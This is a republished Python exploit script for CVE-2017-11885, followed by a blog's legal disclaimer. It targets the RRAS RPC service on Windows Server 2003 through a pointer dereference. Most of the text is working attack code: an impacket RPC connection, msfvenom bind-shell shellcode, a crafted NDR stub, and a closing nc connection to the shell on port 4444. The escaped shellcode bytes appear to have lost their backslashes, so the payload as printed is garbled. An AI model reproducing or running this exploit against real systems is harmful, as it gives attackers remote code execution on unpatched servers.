#!/usr/bin/env python # -*- coding: utf-8 -*- #Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled. #The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure. #dwVarID (sent by the client) is used as a pointer to an array of functions. The application doest not check if the pointer is #pointing out of the bounds of the array so is possible to jump to specific portions of memory achieving remote code execution. #Microsoft has not released a patch for Windows Server 2003 so consider to disable the RRAS service if you are still using #Windows Server 2003. #Exploit created by: Víctor Portal #For learning purpose only import struct import sys import time import os from threading import Thread from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport target = sys.argv[1] print '[-]Initiating connection' trans = transport.DCERPCTransportFactory('ncacn_np:%s[\pipe\browser]' % target) trans.connect() print '[-]connected to ncacn_np:%s[\pipe\browser]' % target dce = trans.DCERPC_class(trans) #RRAS DCE-RPC endpoint dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0'))) #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "x00" -f python buf = "" buf += "xb8x3cxb1x1ex1dxd9xc8xd9x74x24xf4x5ax33" buf += "xc9xb1x53x83xc2x04x31x42x0ex03x7exbfxfc" buf += "xe8x82x57x82x13x7axa8xe3x9ax9fx99x23xf8" buf += "xd4x8ax93x8axb8x26x5fxdex28xbcx2dxf7x5f" buf += "x75x9bx21x6ex86xb0x12xf1x04xcbx46xd1x35" buf += "x04x9bx10x71x79x56x40x2axf5xc5x74x5fx43" buf += "xd6xffx13x45x5ex1cxe3x64x4fxb3x7fx3fx4f" buf += "x32x53x4bxc6x2cxb0x76x90xc7x02x0cx23x01" buf += "x5bxedx88x6cx53x1cxd0xa9x54xffxa7xc3xa6" buf += "x82xbfx10xd4x58x35x82x7ex2axedx6ex7exff" buf += "x68xe5x8cxb4xffxa1x90x4bxd3xdaxadxc0xd2" buf += "x0cx24x92xf0x88x6cx40x98x89xc8x27xa5xc9" buf += "xb2x98x03x82x5fxccx39xc9x37x21x70xf1xc7" buf += "x2dx03x82xf5xf2xbfx0cxb6x7bx66xcbxb9x51" buf += "xdex43x44x5ax1fx4ax83x0ex4fxe4x22x2fx04" buf += "xf4xcbxfaxb1xfcx6ax55xa4x01xccx05x68xa9" buf += "xa5x4fx67x96xd6x6fxadxbfx7fx92x4exaex23" buf += "x1bxa8xbaxcbx4dx62x52x2exaaxbbxc5x51x98" buf += "x93x61x19xcax24x8ex9axd8x02x18x11x0fx97" buf += "x39x26x1axbfx2exb1xd0x2ex1dx23xe4x7axf5" buf += "xc0x77xe1x05x8ex6bxbex52xc7x5axb7x36xf5" buf += "xc5x61x24x04x93x4axecxd3x60x54xedx96xdd" buf += "x72xfdx6exddx3exa9x3ex88xe8x07xf9x62x5b" buf += "xf1x53xd8x35x95x22x12x86xe3x2ax7fx70x0b" buf += "x9axd6xc5x34x13xbfxc1x4dx49x5fx2dx84xc9" buf += "x6fx64x84x78xf8x21x5dx39x65xd2x88x7ex90" buf += "x51x38xffx67x49x49xfax2cxcdxa2x76x3cxb8" buf += "xc4x25x3dxe9" #NDR format stub = "x21x00x00x00" #dwPid = PID_IP (IPv4) stub += "x10x27x00x00" #dwRoutingPID stub += "xa4x86x01x00" #dwMibInEntrySize stub += "x41"*4 #_MIB_OPAQUE_QUERY pointer stub += "x04x00x00x00" #dwVarID (_MIB_OPAQUE_QUERY) stub += "x41"*4 #rgdwVarIndex (_MIB_OPAQUE_QUERY) stub += "xa4x86x01x00" #dwMibOutEntrySize stub += "xadx0bx2dx06" #dwVarID ECX (CALL off_64389048[ECX*4]) -> p2p JMP EAX #dwVarID (_MIB_OPAQUE_QUERY) stub += "xd0xbax61x41x41" + "x90"*5 + buf + "x41"*(100000-10-len(buf)) #rgdwVarIndex (_MIB_OPAQUE_QUERY) stub += "x04x00x00x00" #dwId (_MIB_OPAQUE_INFO) stub += "x41"*4 #ullAlign (_MIB_OPAQUE_INFO) dce.call(0x1e, stub) #0x1d MIBEntryGetFirst (other RPC calls are also affected) print "[-]Exploit sent to target successfully..." print "Waiting for shell..." time.sleep(5) os.system("nc " + target + " 4444")
原文始发于微信公众号(中国白客联盟):CVE-2017-11885 EXP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论